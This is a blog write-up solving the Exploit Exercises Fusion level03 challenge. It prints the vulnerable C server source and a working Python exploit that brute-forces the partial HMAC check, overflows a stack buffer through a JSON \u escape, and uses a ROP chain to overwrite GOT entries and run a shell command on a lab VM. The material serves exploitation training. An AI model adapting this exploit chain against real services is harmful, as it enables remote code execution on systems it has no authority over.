Exploit Exercise Binary Exploitation Fusion level03

Hello Hackers,




Welcome again to my blog. Today, I am going to share my solution for Exploit Exercise Fusion Level 03 Challenge. Actually, Guys, I don't want to spoil your fun that's why  I will you provide easy hints so that you can find it. Don't Try To Escape Comments (Yeah! they are important). Well Guy z, Honestly This Challenge Was Hard For Me. Full Of Pain, Headache and Disappointments But After Spending many days and night. I got It. So, Now I Can Say, "Yeah! it was Pretty Fun".  Good luck!

So, Let's Start

Source Code

#include "../common/common.c"    

#include "json/json.h"

unsigned char *gRequest; // request buffer
int gRequestMax = 4096;      // maximum buffer size
int gRequestSize;       // current buffer size
char *token;

char *gServerIP;

unsigned char *gContents;
int gContents_len;

unsigned char *gTitle;
int gTitle_len;

json_object *gObj;

void generate_token()
{
  struct sockaddr_in sin;
  int len;

  len = sizeof(struct sockaddr_in);
  if(getpeername(0, (void *)&sin, &len) == -1)
      err(EXIT_FAILURE, "Unable to getpeername(0, ...): ");
  
  srand((getpid() << 16) ^ (getppid() + (time(NULL) ^
      sin.sin_addr.s_addr) + sin.sin_port));

  asprintf(&token, "// %s:%d-%d-%d-%d-%d", inet_ntoa(sin.sin_addr),
      ntohs(sin.sin_port), (int)time(NULL), rand(), rand(),
      rand());
}

void send_token()
{
  generate_token();

  printf("\"%s\"\n", token);
  fflush(stdout); 
}

void read_request()
{
  int ret;

  gRequest = malloc(gRequestMax);
  if(!gRequest) errx(EXIT_FAILURE, "Failed to allocate %d bytes",
      gRequestMax);

  while(1) {
      ret = read(0, gRequest + gRequestSize, gRequestMax - gRequestSize);
      if(ret == -1) err(EXIT_FAILURE, "Failed to read %d bytes ... ",
          gRequestMax - gRequestSize);

      if(ret == 0) break;

      gRequestSize += ret;

      if(gRequestSize == gRequestMax) {
          gRequest = realloc(gRequest, gRequestMax * 2);
          if(gRequest == NULL) {
              errx(EXIT_FAILURE, "Failed to realloc from %d bytes "
              "to %d bytes ", gRequestMax, gRequestMax * 2);
          }
          gRequestMax *= 2;  
      }
  }

  close(0); close(1); close(2);
}

#include <openssl/hmac.h>

void validate_request()
{
  unsigned char result[20];
  unsigned char invalid;
  int len;
      
  if(strncmp(gRequest, token, strlen(token)) != 0)
      errx(EXIT_FAILURE, "Token not found!"); 
      // XXX won't be seen by user

  len = sizeof(result);

  HMAC(EVP_sha1(), token, strlen(token), gRequest, gRequestSize, result,
      &len); // hashcash with added hmac goodness
  
  invalid = result[0] | result[1]; // Not too bad :>
  if(invalid)
      errx(EXIT_FAILURE, "Checksum failed! (got %02x%02x%02x%02x...)",
      result[0], result[1], result[2], result[3]);
      // XXX won't be seen by user.
}

void parse_request()
{
  json_object *new_obj;
  new_obj = json_tokener_parse(gRequest);
  if(is_error(new_obj)) errx(EXIT_FAILURE, "Unable to parse request");
  gObj = new_obj;
}

void decode_string(const char *src, unsigned char *dest, int *dest_len)
{
  char swap[5], *p;
  int what;
  unsigned char *start, *end;
  
  swap[4] = 0;
  start = dest;
  // make sure we don't over the end of the allocated space.
  end = dest + *dest_len;

  while(*src && dest != end) {
      // printf("*src = %02x, dest = %p, end = %p\n", (unsigned char) 
      // *src, dest, end);

      if(*src == '\\') {
          *src++;
          // printf("-> in src == '\\', next byte is %02x\n", *src);

          switch(*src) {
              case '"':
              case '\\':
              case '/':
                  *dest++ = *src++;
                  break;
              case 'b': *dest++ = '\b'; src++; break;
              case 'f': *dest++ = '\f'; src++; break;
              case 'n': *dest++ = '\n'; src++; break;
              case 'r': *dest++ = '\r'; src++; break;
              case 't': *dest++ = '\t'; src++; break;
              case 'u':
                  src++;

                  // printf("--> in \\u handling. got %.4s\n", 
                  // src);

                  memcpy(swap, src, 4);
                  p = NULL;
                  what = strtol(swap, &p, 16);

                  // printf("--> and in hex, %08x\n", what);

                  *dest++ = (what >> 8) & 0xff;
                  *dest++ = (what & 0xff);
                  src += 4;
                  break;
              default:
                  errx(EXIT_FAILURE, "Unhandled encoding found");
                  break;
          }
      } else {
          *dest++ = *src++;
      }
  }

  // and record the actual space taken up
  *dest_len = (unsigned int)(dest) - (unsigned int)(start);
  // printf("and the length of the function is ... %d bytes", *dest_len);

}

void handle_request()
{
  unsigned char title[128];
  char *tags[16];
  unsigned char contents[1024];

  int tag_cnt = 0;
  int i;
  int len;

  memset(title, 0, sizeof(title));
  memset(contents, 0, sizeof(contents));

  json_object_object_foreach(gObj, key, val) {
      if(strcmp(key, "tags") == 0) {
          for(i=0; i < json_object_array_length(val); i++) {
              json_object *obj = json_object_array_get_idx(val, i);
              tags[tag_cnt + i] = json_object_get_string(obj);
          }
          tag_cnt += i;
      } else if(strcmp(key, "title") == 0) {
          len = sizeof(title);
          decode_string(json_object_get_string(val), title, &len);

          gTitle = calloc(len+1, 1);
          gTitle_len = len;
          memcpy(gTitle, title, len);

      } else if(strcmp(key, "contents") == 0) {
          len = sizeof(contents);
          decode_string(json_object_get_string(val), contents, &len);

          gContents = calloc(len+1, 1);
          gContents_len = len;
          memcpy(gContents, contents, len);

      } else if(strcmp(key, "serverip") == 0) {
          gServerIP = json_object_get_string(val);
      }
  }
  printf("and done!\n");
}

void post_blog_article()
{
  char *port = "80", *p;
  struct sockaddr_in sin;
  int fd;
  int len, cl;

  unsigned char *post, *data;

  // We can't post if there is no information available
  if(! gServerIP || !gContents || !gTitle) return;

  post = calloc(128 * 1024, 1);
  cl = gTitle_len + gContents_len + strlen("\r\n\r\n");

  len = sprintf(post, "POST /blog/post HTTP/1.1\r\n");
  len += sprintf(post + len, "Connection: close\r\n");
  len += sprintf(post + len, "Host: %s\r\n", gServerIP);
  len += sprintf(post + len, "Content-Length: %d\r\n", cl);
  len += sprintf(post + len, "\r\n");

  memcpy(post + len, gTitle, gTitle_len);
  len += gTitle_len;
  len += sprintf(post + len, "\r\n");
  memcpy(post + len, gContents, gContents_len);
  len += gContents_len;

  p = strchr(gServerIP, ':');
  if(p) {
      *p++ = 0;
      port = p;
  }

  memset(&sin, 0, sizeof(struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = inet_addr(gServerIP);
  sin.sin_port = htons(atoi(port));

  fd = socket(AF_INET, SOCK_STREAM, 0);
  if(fd == -1) err(EXIT_FAILURE, "socket(): ");
  if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1)
      err(EXIT_FAILURE, "connect(): ");
  nwrite(fd, post, len);
  close(fd);
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  signal(SIGPIPE, SIG_IGN);

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  send_token();
  read_request();
  validate_request();   
  parse_request();
  handle_request();
  post_blog_article();
}

Hint


This level introduces partial hash collisions (hashcash) and more stack corruption

Vulnerability Type            : Stack
Position Independent Executable    : No
Read only relocations            : No
Non-Executable stack            : Yes
Non-Executable heap            : Yes
Address Space Layout Randomisation : Yes
Source Fortification            : No


Vulnerable Code


void handle_request()
{
  unsigned char title[128];
  char *tags[16];
  unsigned char contents[1024];

  int tag_cnt = 0;
  int i;
  int len;

  memset(title, 0, sizeof(title));
  memset(contents, 0, sizeof(contents));

  json_object_object_foreach(gObj, key, val) {
      if(strcmp(key, "tags") == 0) {
          for(i=0; i &lt; json_object_array_length(val); i++) {
              json_object *obj = json_object_array_get_idx(val, i);
              tags[tag_cnt + i] = json_object_get_string(obj);
          }
          tag_cnt += i;
      } else if(strcmp(key, "title") == 0) {
          len = sizeof(title);
          decode_string(json_object_get_string(val), title, &amp;len);

          gTitle = calloc(len+1, 1);
          gTitle_len = len;
          memcpy(gTitle, title, len);

      } else if(strcmp(key, "contents") == 0) {
          len = sizeof(contents);
          decode_string(json_object_get_string(val), contents, &amp;len);

          gContents = calloc(len+1, 1);
          gContents_len = len;
          memcpy(gContents, contents, len);

      } else if(strcmp(key, "serverip") == 0) {
          gServerIP = json_object_get_string(val);
      }
  }
  printf("and done!\n");
}

Use Google! Read About Vulnerability. Understand The Hint. Understand The Exploit.


Testing Client



#!/usr/bin/python

import socket
import struct

# Target configurations
TARGET_IP = '192.168.56.101'
TARGET_PORT = 20003

# create socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect
s.connect((TARGET_IP, TARGET_PORT))

# recv tokken
token = eval(s.recv(1024))



payload = ''
payload += token       # strncmp bypass
payload += '\n'
payload += 'a'*4096


s.send(payload)

print payload
#raw_input()
#s.send('')

raw_input('Press Enter for Exit......')

# close socket
s.close()

Exploit

#!/usr/bin/python
import struct
import time
import socket
import hmac
import hashlib
import json

CMD = 'touch /tmp/hacked'


# Bypassed Layer Of Function
#  send_token()  +
#  read_request() +
#  validate_request();  +   
#  parse_request();     +
#  handle_request();    <--- EIP Control Found
#  post_blog_article();


# create socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# connect to target
s.connect(('192.168.56.101', 20003))

s.settimeout(2)

# fd
fd = s.makefile('rb')

# Token Received
token = fd.read(len('"// 127.0.0.1:36440-1531523912-1438653415-959081978"'))
while True:
 token += fd.read(1)
 if token[-1]=='"':
  break
print '[+] Token : ', token

# ROP Payload
# 8048f50 <strncmp@plt> --> 0x804bda0 <strncmp@got.plt>: 0xb7517ce0
# 0x080493fe : add dword ptr [ebx + 0x5d5b04c4], eax ; ret
# 0x08049c1e : mov dword ptr [edx], ebx ; add esp, 0x3c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
# BLOG POST URL 0x08049f20
# 0x08049b4f : pop eax ; add esp, 0x5c ; ret
# Victim PLT 0x08048f40 <+0>: jmp    DWORD PTR ds:0x804bd9c
# 0x804bd14 <calloc@got.plt>: 0xb7477420
# 0x08049402 : pop ebx ; pop ebp ; ret

#
# $1 = {<text variable, no debug info>} 0xb75a9fc0 <__srandom>
# $4 = {<text variable, no debug info>} 0xb75b3b20 <__libc_system>
# Differ = 39776
#
# $8 = {<text variable, no debug info>} 0xb75aad00 <__GI_strtol>
# Differ =  36384
# Srand 0x08048c20 <+0>: jmp    DWORD PTR ds:0x804bcd4
#
# 0x804bdf4 <gContents>: 0x09487338
#


 # Fake EBP .bss
EBP = 0x0804bdc0+82 # 0x804be10
# ESP = 0x804be18
EBP = 0x804be08


rop = ''
rop += 'A'*19
rop += struct.pack('i',  0x804bcd4 - 0x5d5b04c4 ) # EBX 19 - 23 --> Calloc Address
rop += 'ESII' # ESI 23 - 27
rop += 'EDII' # EDI 27 - 31
rop += struct.pack("I", EBP) # EBP 31 - 35
rop += struct.pack('I', 0x08049b4f)
rop += '\\\u609b\\\u0000' # <-- EAX = 0x9b60
rop += 'D'*0x5c
rop += struct.pack('I', 0x080493fe)




# Memory Copy Section
#        void *memcpy(void *dest, const void *src, size_t n);

# Current Instruction
rop += struct.pack("I", 0x08048e60) # 8048e60 <memcpy@plt>
rop += struct.pack("I", 0x0804964d) # p p p ret 0x0804964d : pop ebx ; pop esi$
rop += struct.pack("I", EBP+4)
rop += struct.pack("I", 0x804bcd4) # Srand 0x08048c20 <+0>:        jmp    DWORD PTR ds:0x804bcd4
rop += '\\\u0400\\\u0000' #struct.pack("I", 4)

# Next Instruction
#rop += struct.pack("I", 0x08048e60) # 8048e60 <memcpy@plt>
#rop += struct.pack("I", 0x0804964d) # p p p ret 0x0804964d : pop ebx ; pop esi$
#rop += struct.pack("I", EBP+8)
#rop += struct.pack("I", 0x804bdac) # 0x804bdac <exit@got.plt>: 0x08048f86
#rop += '\\\u0400\\\u000' #struct.pack("I", 4)

# Argument

rop += struct.pack("I", 0x08048e60) # 8048e60 <memcpy@plt>
rop += struct.pack("I", 0x0804964d) # p p p ret 0x0804964d : pop ebx ; pop esi ; pop edi ; ret
rop += struct.pack("I", EBP+12)
rop += struct.pack("I", 0x804bdf4)
rop += '\\\u0400\\\u0000' #struct.pack("I", 4)

#rop += struct.pack('I', 0x08048c20) # <-- System
#rop += struct.pack("I", 0x08048f80) # EXIT
#rop += struct.pack("I", EBP)
#rop += '\xcc'*12
#rop = rop.encode('hex')

rop += struct.pack("I", 0x08049431)  # 0x08049431 : leave ; ret
rop += '\xcc'*16


JDATA = {
'title':"A"*127,
'serverip':'192.168.56.101',
'contents':'touch /tmp/hacked',
}

JDATA['title'] += '\\'
JDATA['title'] += 'u'
JDATA['title'] += 'ROP' # EIP

print '[*] Payload : ', JDATA['title']


#  Create Payload
payload = eval(token)
payload += '\n'
payload += json.JSONEncoder().encode(JDATA)
payload += '\n'
payload = payload.replace('ROP', rop)
print '[-] ROP Loaded : ', payload
payload += "N"*(4096-len(payload)) # Fill Blank Space


# Validating HMAC Condition
let = 0
letpayload = payload[:-6]
while True:
 if hmac.new(eval(token), letpayload+str(let).ljust(6, '-'), hashlib.sha1).digest()[:2]=='\x00\x00':
  payload = letpayload+str(let).ljust(6, '-')
  print '[+] Found HMAC Pair : ',
  print hmac.new(eval(token), payload, hashlib.sha1).hexdigest()
  break
 let+=1

print "[*] Number Of Cycle : ", let
print '[*] Sending Payload : ', len(payload)

s.send(payload)
print '[*] Payload Planted.'
time.sleep(0.5)

print s.recv(1024)
raw_input('Press Enter To Trigger Planted Payload..')
s.close()



Nice Day.

Share this

Related Posts

Previous
Next Post »